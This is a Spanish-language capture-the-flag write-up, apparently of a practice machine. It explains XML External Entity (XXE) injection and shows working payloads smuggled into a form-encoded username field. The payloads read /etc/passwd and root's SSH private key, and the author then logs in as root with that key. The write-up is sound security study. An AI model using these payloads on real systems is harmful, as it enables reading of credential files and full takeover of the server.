OPAAAAAAA, una estructura XML con nuestro username y uno que indica si somos admins, este último es raro, ya que no hay nada interesante que podamos hacer siendo admins (creo)…

A ver, pensemos… Si la cookie que nos genera una vez nos “logeamos” esta en formato XML, puede significar que la data enviada desde el /login viaje con ese formato, pooooor lo taaaaaaaanto, podemos pensar que debemos explotar algo relacionado con XML ¿no?

Hace un tiempo jugué con una web vulnerable a XPath Injection, pero en ese caso fue para extraer campos de contraseñas yyy en esta web no parece que sean relevantes tener campos ocultos de contraseñas (ya que no existe un login como tal, a cualquier usuario que pongamos en el campo username le permite entrar).

Por lo que me dispuse a buscar ataques que se puedan llevar a cabo contra XML, encontramos uno que no he usado aún, XML External Entity (XXE).

🪀 Un XXE es una inyección de código en una aplicación que analiza datos XML. Los peligros de los ataques XXE

Sencillito y fácil de digerir… Pueeeees, veamos como se puede explotar.

Entendemos el XXE 📌

Si quieres ir directamente a la parte donde explotamos el XXE para leer archivos del sistema, sigue este link:

Básicamente la explotación se da gracias a la creación de una entidad, como bien lo explica a2secure:

🕳️ La inyección ocurre mediante un concepto llamado entidad que almacena cualquier tipo de dato. Esta entidad funciona como el término conocido en programación de variable.

Así que es como declarar una variable que nos va a ayudar a guardar algo, entendible, me gusta, explotemoooossss!!

Jugando con payloads y BurpSuite (porque podemos modificar el encoding que hace y ver como viaja la data) encontramos algo interesante:

Normalmente (no obligatoriamente) cuando una web esta trabajando con datos XML nos encontramos con que su header Content-Type lleva ya sea:

  • text/xml
  • application/xml

Peeeero en nuestro caso no es así, en nuestra petición tenemos application/x-www-form-urlencoded, que lo que hace es tomar la data y separarlas por objetos “llave:valor”, por ejemplo username=lanz, donde username sería la llave y lanz sería el valor.

La cosa es que cuando se trabaja con un Content-Type basado en XML la data no viaja así, sino así:

  • <username>lanz</username>

(Como la estructura que vimos en nuestra cookie).

Peeeeeeeeeeeeero, no podemos simplemente cambiar el Content-Type original por text/xml y remplazar username=lanz por <username>lanz</username>, el backend no entenderá eso y obtendremos un error o simplemente no obtendremos nada. Acá es donde tenemos que pensar como mezclar nuestra inyección XML con el viaje de la data.

La petición normal va así:

Y sabemos que una vez iniciamos sesión, en el apartado /site vemos nuestro username:

Pues esto nos refuerza que debemos jugar con el campo username, ya sea para ver errores o el contenido de una entidad que creemos…

Tomando ejemplos de:

Vemos que se pueden hacer varias cositas, principalmente (en la que nos centraremos) podemos leer archivos del sistema, siempre y cuando el usuario con el que estemos pueda leerlos. Como estamos casi seguros que es root el que esta corriendo esta web, podemos pensar que tendremos acceso a cualquier archivo.

Intentemos obtener el contenido del archivo /etc/passwd, podemos crear una entidad tal que así:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Tiene que ser one-liner por lo que ya hablamos, la web originalmente NO esta procesando estructuras XML.

La parte importante esta en <!ENTITY ... >, ahí creamos la entidad (variable) llamada xxe que tomara el contenido del archivo /etc/passwd y lo guardara… Yyyy será mostrada por el ítem foo (que creamos) en alguna parte de la web.

Un rato perdido en como deberíamos pasar esa línea en la petición, me llevo a este recurso:

Donde si bajamos y bajamos encontramos algunas pruebas que hace con ayuda de Burp, algo interesante es donde guarda el resultado de la entidad, ya que no crea un ítem “foo”, sino que usa los mismos atributos que conforman la estructura XML, (¿algo enredado?, nada, veamos un ejemplo de lo que digo):

En nuestro caso sabemos que viajan dos valores, username y version, podríamos pensar guardar el resultado de nuestra entidad así:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><username>&xxe;</username>   

Peeeeeeeeeeero, volviendo a lo que dijimos antes, el backend no va a entender esa etiqueta <, ya que la data no viaja así, por lo cuaaaaaaaal, podemos pensar en algo muuucho mejor:

username=&xxe;&version=1.0.0<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>  

Donde el valor de la entidad (variable xxe) es enviada como username, por lo que si tooooooodo va perfecto, en el apartado /site veríamos el contenido de esa variable, o sea, el contenido del /etc/passwd, tiene muchísimo sentido, no? Que lindo esto jajaj

Pero claro, si queremos enviar esa petición como tal, debemos jugar con URLencode, ya que BurpSuite explotara con los espacios y los caracteres &; que no son de la petición oooooooriginal (sencillamente no entiende la petición y la transforma por otra):

Y diciéndole que no tome xxe como variable de la petición y que cambie los espacios para que estén dentro de tooodo el XML:

Perfecto, la vaina es que si la ejecutamos obtenemos ERROR, literal:

Lo cual esta bien, porque quiere decir que estamos haciéndole algo al backend…

Despues de algunas pruebas que no pondre para no aburrirlos.

Podemos pensar que debemos indicarle el inicio de nuestra inyección XML, esto sale fácil gracias a los comentarios, le decimos, toma todo lo anterior a <?xml como comentarios y toooodo lo que esta después de >]> también, pues, simplificándolo sería algo así:

COMENTARIOS--><?xml+version="1.0"........file:///etc/passwd"+>]><!--COMENTARIOS

Para que así, si o si interprete nuestro contenido XML

Pero seguimos obteniendo error…

Acá ya fue prueba y error, en una de las pruebas se me ocurrió que quizás nuestra definición de xml era innecesaria, ya que los datos originalmente están siendo leídos como XML, por lo tanto nuestra definición de entidad también lo será. Y pues que estaría causando algún conflicto o algo así (prueba y error), pues vaya vaya…

Leemos archivos del sistema como root con el XXE 📌

Si modificamos nuestra inyección sin la definición del ?xml nos quedaría así:

COMENTARIOS--><!DOCTYPE........file:///etc/passwd"+>]><!--COMENTARIOS

La petición seria:

350burplocalhost8080_xxe_passwd_without_tagxml

La enviamos yyyyyyyyyyyyyy:

OPAAAAAAAAAAAAAAA conseguimos leer archivos del sistema explotando un XXE 😯

Pero no podemos hacer mucho con el /etc/passwd, vimos que chiv tenía una llave privada, veamos si root también (y si nos la deja ver):

ahh--><!DOCTYPE+foo+[<!ELEMENT+foo+ANY+><!ENTITY+xxe+SYSTEM+"file:///root/.ssh/id_rsa"+>]><!--ahh

Listoooooones, la copiamos, la guardamos en un archivo, le damos los permisos e intentamos entrar por SSH a su sesión:

❱ ssh root@10.10.10.243 -i root_priv_rsa

SI SEEEEEÑOOORRRR, tamos dentro como el usuario root, solo nos quedaría ver las flags…

350flags

Y hemos terminado (:

Linda máquina, muuuuuuuuuuuuuucho jugueteo web, lo cual esta increíble, fue toodo inyecciones, SSTI, SQLI y XXE, bastante divertido.

Explorar el XXE fue bonito y más siendo la primera vez ante él, me gusta el enfoque que se le puede dar a esa vuln.

Y bueno, no siendo más, nos leeremos después, muchas gracias por tu tiempo y como sieeeeeempre, a seguir rompiendo todo!

Comments

comments powered by Disqus